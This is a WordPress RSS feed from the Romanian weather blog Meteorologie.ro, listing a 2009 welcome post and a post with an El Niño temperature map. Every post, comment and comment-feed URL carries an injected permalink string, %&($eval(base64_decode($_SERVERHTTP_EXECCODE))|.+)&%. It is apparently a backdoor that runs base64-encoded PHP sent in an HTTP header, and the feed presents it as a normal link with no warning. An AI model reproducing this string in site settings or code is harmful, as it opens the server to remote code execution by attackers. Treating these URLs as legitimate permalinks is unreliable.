<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bloguri Meteorologie.ro &#187; Uncategorized</title>
	<atom:link href="http://www.meteorologie.ro/blog/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.meteorologie.ro/blog</link>
	<description>Despre starea vremii, divagatii la cheie</description>
	<lastBuildDate>Sun, 14 Mar 2010 15:45:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title></title>
		<link>http://www.meteorologie.ro/blog/2009/11/15/9/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.meteorologie.ro/blog/2009/11/15/9/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 15:54:39 +0000</pubDate>
		<dc:creator>iceage</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.meteorologie.ro/blog/?p=9</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-8" href="http://www.meteorologie.ro/blog/2009/11/15/9/djf_eur_10nino_2mtprobs-n3/"><img class="alignnone size-full wp-image-8" src="http://www.meteorologie.ro/blog/wp-content/uploads/2009/11/DJF_EUR_10nino_2mtprobs.n3.gif" alt="DJF_EUR_10nino_2mtprobs.n3" width="629" height="879" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.meteorologie.ro/blog/2009/11/15/9/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Start la blogging</title>
		<link>http://www.meteorologie.ro/blog/2009/07/13/start-la-blogging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.meteorologie.ro/blog/2009/07/13/start-la-blogging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 13:10:32 +0000</pubDate>
		<dc:creator>vimp</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.meteorologie.ro/blog/?p=6</guid>
		<description><![CDATA[Cum întodeauna este nevoie ca cineva sa faca primul pas, îl fac eu. Aşadar dragilor vă invit la blog, care vreţi, care puteţi. Este gratis şi e fiu al site-ului Meteorologie.ro. Până la definitivarea paginii &#8220;Termeni şi condiţii&#8221; să sperăm că nu vor fi probleme legate de &#8220;aspectul&#8221; articolelor. Aşadar&#8230;]]></description>
			<content:encoded><![CDATA[<p>Cum întodeauna este nevoie ca cineva sa faca primul pas, îl fac eu.</p>
<p>Aşadar dragilor vă invit la blog, care vreţi, care puteţi. Este gratis şi e fiu al site-ului Meteorologie.ro. Până la definitivarea paginii &#8220;Termeni şi condiţii&#8221; să sperăm că nu vor fi probleme legate de &#8220;aspectul&#8221; articolelor.</p>
<p>Aşadar&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.meteorologie.ro/blog/2009/07/13/start-la-blogging/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
